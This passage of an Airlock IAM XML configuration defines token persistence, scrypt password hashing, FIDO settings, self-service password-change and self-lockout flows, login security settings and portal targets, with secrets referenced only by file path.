    <property name="tokenColValidityRangeLower">validity_range_lower</property>
    <property name="tokenColValidityRangeUpper">validity_range_upper</property>
    <property name="tokenTable">token</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.token.DefaultTokenDataProvider" uuid="3bd84c9d-56bd-405b-b387-f1bea4487c0e">
    <pluginProperty name="tokenPersister">
      <plugin uuidref="23ea28a4-4364-445f-96bb-44ccb81e7380"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.token.DefaultTokenDataProvider" uuid="b85c456e-a960-4d3c-af7c-f10479b207c3">
    <pluginProperty name="tokenPersister">
      <plugin uuidref="78651dac-e483-4abb-ab75-596d015f83a0"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.usereventbus.TokenConsistencyUserChangeListener" uuid="52713cc8-7320-4d1c-86d8-a548d94220f9">
    <pluginProperty name="tokenDataProvider">
      <plugin uuidref="3bd84c9d-56bd-405b-b387-f1bea4487c0e"/>
    </pluginProperty>
    <pluginList name="tokenServices">
      <plugin uuidref="c3bff811-9e81-4f47-ae43-3b6e02051c45"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.impl.persistency.usereventbus.TokenConsistencyUserChangeListener" uuid="d6b6acd7-98b6-4114-a1e6-176ecd218489">
    <pluginProperty name="tokenDataProvider">
      <plugin uuidref="b85c456e-a960-4d3c-af7c-f10479b207c3"/>
    </pluginProperty>
    <pluginList name="tokenServices">
      <plugin uuidref="2c79cd88-3bcd-43e5-aadd-041b886c96f0"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.plugin.config.GlobalAuthenticationSettings" uuid="3383f23a-531e-48c6-be1c-db227393e04e"/>
  <plugin class="com.airlock.iam.core.misc.plugin.config.GlobalConfiguration" id="globalConfig" uuid="069b9fee-7aaf-4a0b-9a2d-9d8eef12aa64">
    <pluginProperty name="authenticationSettings">
      <plugin uuidref="3383f23a-531e-48c6-be1c-db227393e04e"/>
    </pluginProperty>
    <pluginProperty name="correlationIdSettings">
      <plugin uuidref="c2b2dd68-bacb-4f09-8c57-f1ae1323332e"/>
    </pluginProperty>
    <pluginProperty name="dataSources">
      <plugin uuidref="7771ee2c-3f2b-42ec-a934-41ba0976d98a"/>
    </pluginProperty>
    <pluginProperty name="passwordSettings">
      <plugin uuidref="c21294a3-f950-4f7b-b8f6-de28fbf4c076"/>
    </pluginProperty>
    <pluginProperty name="stateRepository">
      <plugin uuidref="4431e973-b6a3-459c-a233-257a05ed2cf7"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.plugin.config.GlobalPersisterSettings" uuid="7771ee2c-3f2b-42ec-a934-41ba0976d98a">
    <pluginProperty name="acceptedSsoTicketRepository">
      <plugin uuidref="85e02e86-a1c4-4519-97da-a0418ca58a6a"/>
    </pluginProperty>
    <pluginProperty name="tokenDataSource">
      <plugin uuidref="3bd84c9d-56bd-405b-b387-f1bea4487c0e"/>
    </pluginProperty>
    <pluginProperty name="userStore">
      <plugin uuidref="92b4dbe6-9a57-4296-af9a-f1118be4dc86"/>
    </pluginProperty>
    <pluginProperty name="userTrailDataSource">
      <plugin uuidref="594a03ae-a188-4dd5-81cf-7f9a2b107f50"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.tokenservice.GenericTokenService" uuid="2c79cd88-3bcd-43e5-aadd-041b886c96f0">
    <property name="containsMultiAssignmentTokens">false</property>
    <pluginProperty name="tokenDataProvider">
      <plugin uuidref="b85c456e-a960-4d3c-af7c-f10479b207c3"/>
    </pluginProperty>
    <propertyList name="typesToHandle">
      <propertyValue>MTAN</propertyValue>
      <propertyValue>SECRETQUESTION</propertyValue>
      <propertyValue>CERTIFICATE</propertyValue>
      <propertyValue>OAUTH2</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.tokenservice.GenericTokenService" uuid="c3bff811-9e81-4f47-ae43-3b6e02051c45">
    <property name="containsMultiAssignmentTokens">false</property>
    <pluginProperty name="tokenDataProvider">
      <plugin uuidref="3bd84c9d-56bd-405b-b387-f1bea4487c0e"/>
    </pluginProperty>
    <propertyList name="typesToHandle">
      <propertyValue>MTAN</propertyValue>
      <propertyValue>SECRETQUESTION</propertyValue>
      <propertyValue>CERTIFICATE</propertyValue>
      <propertyValue>OAUTH2</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.util.context.NoContextExtractor" uuid="132c59f4-8a4b-4414-a147-ab31d60e4f4b"/>
  <plugin class="com.airlock.iam.core.misc.util.password.hash.PasswordHistoryHash" uuid="7266e9a8-ef07-4258-b85c-8f872c07ff91">
    <property name="alsoTryUpperCase">false</property>
    <property name="caseInsensitiveStorage">false</property>
    <property name="encodeBase64">true</property>
    <property name="maxHistoryLength">5</property>
    <pluginProperty name="passwordHash">
      <plugin uuidref="4826386e-efbb-44e4-92b0-4486ac566d46"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.util.password.hash.PasswordHistoryHash" uuid="b82b9f6a-3503-4248-8dfd-6aede8c45792">
    <property name="alsoTryUpperCase">false</property>
    <property name="caseInsensitiveStorage">false</property>
    <property name="encodeBase64">true</property>
    <property name="maxHistoryLength">5</property>
    <pluginProperty name="passwordHash">
      <plugin uuidref="f9466ba3-e632-4c3c-96b0-1d0e7b8a4d6b"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.util.password.hash.SHA256Base64PasswordHash" uuid="4988cc21-e638-4db5-8701-30aa69014336"/>
  <plugin class="com.airlock.iam.core.misc.util.password.hash.ScryptPasswordHash" uuid="4826386e-efbb-44e4-92b0-4486ac566d46">
    <property name="blockSize">8</property>
    <property name="iterationsExponent">17</property>
    <property name="parallelizationParameter">1</property>
  </plugin>
  <plugin class="com.airlock.iam.core.misc.util.password.hash.ScryptPasswordHash" uuid="f9466ba3-e632-4c3c-96b0-1d0e7b8a4d6b">
    <property name="blockSize">8</property>
    <property name="iterationsExponent">17</property>
    <property name="parallelizationParameter">1</property>
  </plugin>
  <plugin class="com.airlock.iam.factor.application.configuration.fido.FidoDefaultAaguidMappingsConfig" uuid="d79b1992-e172-4633-a0f6-82494d7f2152"/>
  <plugin class="com.airlock.iam.factor.application.configuration.fido.FidoNoAttestationVerificationConfig" uuid="6e9e463c-3754-493d-a230-bbec3df81172"/>
  <plugin class="com.airlock.iam.factor.application.configuration.fido.FidoRepositoryConfig" uuid="d9acb890-f831-484d-9f86-ca9195f59fe1">
    <property name="logQueries">false</property>
    <property name="persistTransports">true</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="2d936000-b85e-4d85-b9c4-29858e70af56"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.factor.application.configuration.fido.FidoSettingsConfig" uuid="a0b804c7-1778-4677-bf26-0d94e231df9b">
    <pluginList name="aaguidMappings">
      <plugin uuidref="d79b1992-e172-4633-a0f6-82494d7f2152"/>
    </pluginList>
    <propertyList name="allowedAlgorithms">
      <propertyValue>ES256</propertyValue>
      <propertyValue>EDDSA</propertyValue>
    </propertyList>
    <property name="allowedAuthenticatorType">ALL</property>
    <property name="attestationType">DIRECT</property>
    <pluginProperty name="attestationVerifier">
      <plugin uuidref="6e9e463c-3754-493d-a230-bbec3df81172"/>
    </pluginProperty>
    <property name="authenticationTimeout">60</property>
    <property name="authenticationUserVerificationPreference">PREFERRED</property>
    <property name="autoGenerateDisplayName">false</property>
    <property name="maximumAttestationObjectSizeInBytes">6000</property>
    <property name="preventDoubleRegistration">true</property>
    <property name="registrationTimeout">300</property>
    <property name="registrationUserVerificationPreference">PREFERRED</property>
    <property name="relyingPartyId" var="MEDUSA_CONFIGURATION_LOGINAPP_HOST">login-abc.replace.me</property>
    <pluginProperty name="repository">
      <plugin uuidref="d9acb890-f831-484d-9f86-ca9195f59fe1"/>
    </pluginProperty>
    <property name="residentKey">required</property>
    <pluginProperty name="userInformationProvider">
      <plugin uuidref="a57d5b02-3314-4dc0-910d-4cf4398f7e81"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.flow.api.application.configuration.MaintenanceMessageUiSettings" uuid="dd4f3686-ac4f-42c4-991c-127c9af048e6">
    <property name="firstPageOnly">true</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.api.application.configuration.step.StepIdConfig" uuid="14d57f52-ed6a-4c10-aab3-ff4941422b9a">
    <property name="id">pw-check</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.flow.FlowIdConfig" uuid="2ff311e4-75d4-45f0-b65b-d9eb58914bca">
    <property name="flowId">password-change</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.flow.FlowIdConfig" uuid="5c6ce169-eeb2-485f-bd73-c1edc549dd10">
    <property name="flowId">self-lockout</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.processor.CustomFlowProcessorsConfig" uuid="3381e750-9f17-46df-b52d-634989f2399e">
    <pluginList name="processors">
      <plugin uuidref="2289b231-e24c-4a98-a6c6-745eb5d4ac4c"/>
      <plugin uuidref="ec9b7cb6-5ab1-4ab7-8203-4a1641d5826a"/>
      <plugin uuidref="4d9ada7e-e292-404b-9f27-7b98daa56c92"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.AlwaysFalseConditionConfig" uuid="5e4c5f87-d074-4fd6-bee8-01ded124400d"/>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.AlwaysTrueConditionConfig" uuid="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.LogicalOrFlowConditionConfig" uuid="5fe74fd4-0c1d-45f6-8492-75775460a941">
    <pluginList name="conditions">
      <plugin uuidref="7b4ad00a-d4e5-42bd-9171-9e7d78290b05"/>
      <plugin uuidref="a789c646-05c1-4f1f-9d6c-dc1cb10e5241"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.RedFlagConditionConfig" uuid="33d33162-5e55-46f1-84c3-669ed9b04bcc">
    <pluginProperty name="redFlag">
      <plugin uuidref="2282fe84-89d4-49cc-9ee5-2db11a3ad68d"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.TagConditionConfig" uuid="7b4ad00a-d4e5-42bd-9171-9e7d78290b05">
    <pluginProperty name="tag">
      <plugin uuidref="89869ba8-5431-4e62-b43c-0ce6e0db0854"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.condition.TagConditionConfig" uuid="a789c646-05c1-4f1f-9d6c-dc1cb10e5241">
    <pluginProperty name="tag">
      <plugin uuidref="fccb45db-3cf5-4d25-83c2-c65f00275d76"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.selection.step.SelectionOptionConfig" uuid="e35b37cb-986e-4800-a5d8-b2baa0967be9">
    <pluginProperty name="condition">
      <plugin uuidref="33d33162-5e55-46f1-84c3-669ed9b04bcc"/>
    </pluginProperty>
    <property name="name">MANDATORY_PASSWORD_CHANGE</property>
    <pluginList name="steps">
      <plugin uuidref="44ffe4ff-1a72-405a-9355-6fb4e9bb08e6"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.tag.TagConfigImpl" uuid="89869ba8-5431-4e62-b43c-0ce6e0db0854">
    <property name="name">WEAK_AUTHENTICATION</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.tag.TagConfigImpl" uuid="89a19d8f-31d0-41a5-9cfd-2f3cc8f31b5d">
    <property name="name">PASSWORD_VERIFIED</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.application.configuration.tag.TagConfigImpl" uuid="fccb45db-3cf5-4d25-83c2-c65f00275d76">
    <property name="name">SELF_REGISTRATION_COMPLETE</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.acknowledgemessage.AcknowledgeMessageStepConfig" uuid="a72c2695-4ec5-4163-a74b-6fb7d004f202">
    <property name="messageId">self-lockout</property>
    <pluginMap name="onFailureGotos"/>
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.context.policy.RequestContextRetentionPolicy" uuid="1f84e954-6086-45e2-b5b7-eb371ccaaa48"/>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.newdevice.NewDeviceCookieConfig" uuid="d9985ef6-9de7-4a06-bb49-91c17fe90f5c">
    <property name="cookieName">AL_LoginFromNewDevice</property>
    <property name="key">[FILE]sensitive-values/customer/secrets/LOGIN_FROM_NEW_DEVICE_KEY</property>
    <property name="validity">365d</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.processor.FactorUseReportingProcessorConfig" uuid="2289b231-e24c-4a98-a6c6-745eb5d4ac4c"/>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.processor.FailedFactorAttemptsProcessorConfig" uuid="ec9b7cb6-5ab1-4ab7-8203-4a1641d5826a">
    <property name="strictCounting">false</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.processor.UserValidityProcessorConfig" uuid="4d9ada7e-e292-404b-9f27-7b98daa56c92">
    <propertyList name="allowedLockReasons">
      <propertyValue>LockReason.SelfLockout</propertyValue>
    </propertyList>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.selection.SelectionStepConfig" uuid="ebc76899-ae7b-4693-bb6d-0f5e4aa7644c">
    <property name="autoSelectOnlyOption">true</property>
    <pluginList name="availableOptions">
      <plugin uuidref="e35b37cb-986e-4800-a5d8-b2baa0967be9"/>
    </pluginList>
    <pluginList name="fallbackFlow">
      <plugin uuidref="48c32640-8d7d-43f6-9f11-96ee4f73e291"/>
    </pluginList>
    <pluginMap name="onFailureGotos"/>
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.step.NoOperationStepConfig" uuid="48c32640-8d7d-43f6-9f11-96ee4f73e291">
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.shared.application.configuration.step.user.UserLockStepConfig" uuid="8b0b10c4-fd4b-4a41-a003-27999887a8d2">
    <property name="lockReason">LockReason.SelfLockout</property>
    <pluginMap name="onFailureGotos"/>
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.flow.ui.application.configuration.LoginPageTargetConfig" uuid="986e636e-f11c-4db9-915f-d7051a227fb5"/>
  <plugin class="com.airlock.iam.flow.ui.application.configuration.SameFlowRedirectTargetConfig" uuid="c34c81bb-0b09-4704-b89b-a351799bd826"/>
  <plugin class="com.airlock.iam.flow.ui.application.configuration.ShowLogoutDisclaimerPageConfig" uuid="4ba1cce5-94af-48d8-b322-89a1ebc36e16">
    <pluginProperty name="targetOnContinue">
      <plugin uuidref="986e636e-f11c-4db9-915f-d7051a227fb5"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.login.app.application.configuration.SecurityConfig" uuid="e61b177a-3f49-46da-ae4e-8f9afabb0003">
    <pluginProperty name="corsSettings">
      <plugin uuidref="05dc7077-9909-418e-9eb1-4f3c163ae238"/>
    </pluginProperty>
    <property name="csrfProtection">true</property>
    <property name="encryptionKey">[FILE]sensitive-values/customer/secrets/IAM_ENCRYPTION_KEY</property>
    <property name="fixedResponseDuration">2000</property>
    <property name="hmacKey">[FILE]sensitive-values/customer/secrets/IAM_HMAC_KEY</property>
    <property name="sameSitePolicy">LAX</property>
    <property name="usernameFilterPattern">[a-zA-Z0-9@._+-]{1,100}</property>
  </plugin>
  <plugin class="com.airlock.iam.login.app.misc.configuration.Loginapp" id="loginapp" uuid="c882a396-e9fe-4562-a553-be9f0bae0681">
    <pluginProperty name="authenticationFlows">
      <plugin uuidref="decb5d5d-0786-4d0a-9cb1-07973088e41e"/>
    </pluginProperty>
    <pluginProperty name="contextExtractor">
      <plugin uuidref="132c59f4-8a4b-4414-a147-ab31d60e4f4b"/>
    </pluginProperty>
    <pluginProperty name="contextRetentionPolicy">
      <plugin uuidref="1f84e954-6086-45e2-b5b7-eb371ccaaa48"/>
    </pluginProperty>
    <pluginProperty name="gatewaySettings">
      <plugin uuidref="585ca596-930f-4138-84c8-e22032b11e7c"/>
    </pluginProperty>
    <pluginProperty name="languageSettings">
      <plugin uuidref="9cfed6ee-3181-47cb-97c7-93cec84fc496"/>
    </pluginProperty>
    <pluginProperty name="maintenanceMessages">
      <plugin uuidref="87174a6a-6028-465f-ae14-3d8c9e87c76f"/>
    </pluginProperty>
    <pluginProperty name="protectedSelfServices">
      <plugin uuidref="5a202538-7523-4854-a3a1-4124efeba178"/>
    </pluginProperty>
    <pluginProperty name="readinessHealthCheckEndpoint">
      <plugin uuidref="3149cf22-34f4-420f-9964-a56c46515a4a"/>
    </pluginProperty>
    <pluginProperty name="securitySettings">
      <plugin uuidref="e61b177a-3f49-46da-ae4e-8f9afabb0003"/>
    </pluginProperty>
    <property name="sessionIdleTimeout">30m</property>
    <property name="sessionLifetime">8h</property>
    <pluginProperty name="stateRepository">
      <plugin uuidref="14a8170e-00fd-48a1-b9a5-a99a41f02d48"/>
    </pluginProperty>
    <pluginProperty name="ui">
      <plugin uuidref="bb8337c4-a6ed-476e-907c-9fa1a9821869"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.login.application.configuration.existingsessionbehavior.IgnoreExistingUserSessionsConfig" uuid="6414b971-d8ca-4e9b-8beb-978de12984bb"/>
  <plugin class="com.airlock.iam.login.application.configuration.location.propagate.TargetURIResolverConfig" uuid="92f4d40c-a6e1-41bd-be28-4b341df50d30">
    <propertyList name="allowedURIs">
      <propertyValue>/(?!/).*</propertyValue>
    </propertyList>
    <property name="defaultValue">/login/ui/app/protected/portal</property>
  </plugin>
  <plugin class="com.airlock.iam.login.application.configuration.targetapp.ApplicationIdConfig" uuid="1965fab3-3c4d-4f50-b571-75455342821c">
    <property name="applicationId">portal-application-id</property>
  </plugin>
  <plugin class="com.airlock.iam.login.application.configuration.targetapp.RegexApplicationSelectorConfig" uuid="57cf23f5-7d53-4ea4-af45-98a759e63ceb">
    <property name="uriPattern">.*</property>
  </plugin>
  <plugin class="com.airlock.iam.login.misc.plugin.MaintenanceMessageConfig" uuid="87174a6a-6028-465f-ae14-3d8c9e87c76f">
    <pluginProperty name="messageService">
      <plugin uuidref="f02ec770-46c0-4f8a-9991-96f50817ef83"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.login.rest.application.configuration.LoginappUiContentSecurityPolicyConfig" uuid="322015be-2037-4690-857d-9a64c226432e">
    <property name="contentSecurityPolicy">default-src 'self'; object-src 'none'; script-src ${cspNonce} 'strict-dynamic' 'self'; img-src 'self' data: https://api.futurae.com; connect-src 'self' https://api.futurae.com wss://api.futurae.com; base-uri 'self'; frame-ancestors 'none';</property>
  </plugin>
  <plugin class="com.airlock.iam.login.rest.application.configuration.ui.LoginappUiConfig" uuid="bb8337c4-a6ed-476e-907c-9fa1a9821869">
    <pluginProperty name="authenticationUi">
      <plugin uuidref="b9277594-261c-4826-bb12-f128eedc14d2"/>
    </pluginProperty>
    <pluginProperty name="loginRestUiContentSecurityPolicy">
      <plugin uuidref="322015be-2037-4690-857d-9a64c226432e"/>
    </pluginProperty>
    <pluginProperty name="selfServiceUi">
      <plugin uuidref="99cc5e83-6fad-4b05-a7bf-0c9e9d6650c3"/>
    </pluginProperty>
    <pluginList name="uiResourceSetRules">
      <plugin uuidref="de2cc4ae-5df9-44bc-9bf0-00681c80d391"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.oauth2.application.configuration.OAuth2ConsentStepConfig" uuid="8b6434e3-d96a-4be8-92ac-8d8041c730a3">
    <pluginMap name="onFailureGotos"/>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ProtectedSelfServiceFlowsConfig" uuid="adb3b97f-0574-486d-ad03-afbb6ad93d0c">
    <pluginList name="flows">
      <plugin uuidref="2dd18d9c-f48f-4014-a6c3-360bab5cbc76"/>
      <plugin uuidref="3f03b589-28b1-4e65-9a6f-e6484e02dc4c"/>
    </pluginList>
    <property name="legacyResponseBehavior">false</property>
    <property name="maxFailedFactorAttempts">5</property>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ProtectedSelfServicesConfig" uuid="5a202538-7523-4854-a3a1-4124efeba178">
    <pluginProperty name="fidoCredentialList">
      <plugin uuidref="cdeaa7d1-98c3-43b4-a70c-367eca842ee3"/>
    </pluginProperty>
    <pluginProperty name="selfServiceFlows">
      <plugin uuidref="adb3b97f-0574-486d-ad03-afbb6ad93d0c"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.flow.CustomProtectedSelfServiceFlowConfig" uuid="2dd18d9c-f48f-4014-a6c3-360bab5cbc76">
    <pluginProperty name="accessCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="authorizationCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="flowId">
      <plugin uuidref="5c6ce169-eeb2-485f-bd73-c1edc549dd10"/>
    </pluginProperty>
    <property name="persistencyless">false</property>
    <pluginProperty name="processors">
      <plugin uuidref="3381e750-9f17-46df-b52d-634989f2399e"/>
    </pluginProperty>
    <pluginList name="steps">
      <plugin uuidref="a72c2695-4ec5-4163-a74b-6fb7d004f202"/>
      <plugin uuidref="8b0b10c4-fd4b-4a41-a003-27999887a8d2"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.flow.CustomProtectedSelfServiceFlowConfig" uuid="3f03b589-28b1-4e65-9a6f-e6484e02dc4c">
    <pluginProperty name="accessCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="authorizationCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="flowId">
      <plugin uuidref="2ff311e4-75d4-45f0-b65b-d9eb58914bca"/>
    </pluginProperty>
    <property name="persistencyless">false</property>
    <pluginProperty name="processors">
      <plugin uuidref="2b98dec5-70db-475a-bf07-807c6791a638"/>
    </pluginProperty>
    <pluginList name="steps">
      <plugin uuidref="8da772d5-5b9a-42aa-ae1f-56d86888c81d"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.processor.DefaultSelfServiceProcessorsConfig" uuid="2b98dec5-70db-475a-bf07-807c6791a638"/>
  <plugin class="com.airlock.iam.selfservice.application.configuration.step.PasswordChangeSelfServiceStepConfig" uuid="8da772d5-5b9a-42aa-ae1f-56d86888c81d">
    <property name="authenticationMethodId">PASSWORD</property>
    <property name="oldPasswordAttempts">3</property>
    <pluginMap name="onFailureGotos"/>
    <pluginProperty name="passwordPolicy">
      <plugin uuidref="e03766f6-1ecc-45b6-95d2-1e86a8e0147e"/>
    </pluginProperty>
    <pluginProperty name="passwordRepository">
      <plugin uuidref="6aa23df3-3705-4c7c-96e9-c6a8933e4508"/>
    </pluginProperty>
    <property name="requiresActivation">false</property>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.token.FidoCredentialListSelfServiceRestConfig" uuid="cdeaa7d1-98c3-43b4-a70c-367eca842ee3">
    <pluginProperty name="accessCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="authorizationCondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <pluginProperty name="fidoSettings">
      <plugin uuidref="a0b804c7-1778-4677-bf26-0d94e231df9b"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.SelfServiceFlowRedirectTargetConfig" uuid="3be6da99-0650-4560-9245-46d22f7f7f02">
    <pluginProperty name="flowId">
      <plugin uuidref="2ff311e4-75d4-45f0-b65b-d9eb58914bca"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.SelfServiceFlowRedirectTargetConfig" uuid="9ce67fd0-40bb-4ccf-a2d2-1c9d9a974274">
    <pluginProperty name="flowId">
      <plugin uuidref="5c6ce169-eeb2-485f-bd73-c1edc549dd10"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.SelfServiceUiConfig" uuid="02acaee4-7203-455b-a68a-a92f6e242ae6">
    <pluginProperty name="cancellationTarget">
      <plugin uuidref="4dbc9fdb-e087-45bc-b530-ac99ce1178f1"/>
    </pluginProperty>
    <pluginProperty name="completionTarget">
      <plugin uuidref="4dbc9fdb-e087-45bc-b530-ac99ce1178f1"/>
    </pluginProperty>
    <pluginProperty name="flowId">
      <plugin uuidref="2ff311e4-75d4-45f0-b65b-d9eb58914bca"/>
    </pluginProperty>
    <pluginProperty name="maintenanceMessageUiSettings">
      <plugin uuidref="dd4f3686-ac4f-42c4-991c-127c9af048e6"/>
    </pluginProperty>
    <property name="showConfirmationPage">true</property>
    <property name="showGotoButtons">true</property>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.SelfServiceUiConfig" uuid="d77c71fb-f902-4058-820b-59e84370ac99">
    <pluginProperty name="cancellationTarget">
      <plugin uuidref="4dbc9fdb-e087-45bc-b530-ac99ce1178f1"/>
    </pluginProperty>
    <pluginProperty name="completionTarget">
      <plugin uuidref="4dbc9fdb-e087-45bc-b530-ac99ce1178f1"/>
    </pluginProperty>
    <pluginProperty name="flowId">
      <plugin uuidref="5c6ce169-eeb2-485f-bd73-c1edc549dd10"/>
    </pluginProperty>
    <pluginProperty name="maintenanceMessageUiSettings">
      <plugin uuidref="dd4f3686-ac4f-42c4-991c-127c9af048e6"/>
    </pluginProperty>
    <property name="showConfirmationPage">true</property>
    <property name="showGotoButtons">true</property>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.SelfServiceUiConfigs" uuid="99cc5e83-6fad-4b05-a7bf-0c9e9d6650c3">
    <pluginProperty name="applicationPortal">
      <plugin uuidref="e6756e5f-af2b-4f3d-86b5-29d9c32023e4"/>
    </pluginProperty>
    <pluginList name="flowUis">
      <plugin uuidref="02acaee4-7203-455b-a68a-a92f6e242ae6"/>
      <plugin uuidref="d77c71fb-f902-4058-820b-59e84370ac99"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.portal.ApplicationPortalGroupConfig" uuid="17d50613-75b4-44c8-91cf-6af1e73a913b">
    <property name="identifier">self-services</property>
    <pluginList name="portalTargets">
      <plugin uuidref="b32cb0a7-a6a4-4a7b-abd1-74276d2d478d"/>
      <plugin uuidref="ad9104d0-d4c0-4fd5-b5a0-ccdcaed8b6d8"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.portal.ApplicationPortalTargetConfig" uuid="ad9104d0-d4c0-4fd5-b5a0-ccdcaed8b6d8">
    <property name="identifier">password-change</property>
    <property name="openInNewTab">false</property>
    <pluginProperty name="precondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <property name="redirectByAccess">true</property>
    <pluginProperty name="redirectTarget">
      <plugin uuidref="3be6da99-0650-4560-9245-46d22f7f7f02"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.portal.ApplicationPortalTargetConfig" uuid="b32cb0a7-a6a4-4a7b-abd1-74276d2d478d">
    <property name="identifier">self-lockout</property>
    <property name="openInNewTab">false</property>
    <pluginProperty name="precondition">
      <plugin uuidref="57dc9d74-3fa9-4b93-9937-0013ead31b67"/>
    </pluginProperty>
    <property name="redirectByAccess">true</property>
    <pluginProperty name="redirectTarget">
      <plugin uuidref="9ce67fd0-40bb-4ccf-a2d2-1c9d9a974274"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.selfservice.application.configuration.ui.portal.ApplicationPortalUiConfig" uuid="e6756e5f-af2b-4f3d-86b5-29d9c32023e4">
    <property name="autoForward">false</property>
    <pluginList name="portalGroups">
      <plugin uuidref="17d50613-75b4-44c8-91cf-6af1e73a913b"/>
    </pluginList>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.Server" id="servicecontainerapp" uuid="44aa1ea7-468e-4a6c-ab20-0e9de19d9c1b">
    <property name="maximumThreads">100</property>
    <property name="minimumThreads">10</property>
    <property name="serviceContainerSharedSecret">[FILE]sensitive-values/customer/secrets/SERVICE_CONTAINER_SHARED_SECRET</property>
    <pluginList name="services">
      <plugin uuidref="8ffe66b7-41ac-418c-9e45-8c31dfed26f3"/>
    </pluginList>
    <property name="sessionTimeout">30</property>
    <property name="statisticLogInterval">60</property>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.ServiceConfig" uuid="8ffe66b7-41ac-418c-9e45-8c31dfed26f3">
    <property name="autoStart">true</property>
    <pluginProperty name="service">
      <plugin uuidref="ae70b0ec-64d0-4338-b634-9dbe079b2c3f"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.servicecontainer.app.application.configuration.TaskSchedule" uuid="399cad6c-24af-4fd9-8bef-0bc998249ab6">
    <property name="firstTime">04:00:00</property>
    <property name="interval">1 day</property>
    <property name="name">Accepted SSO Tickets Clean-up Task</property>
    <pluginProperty name="task">
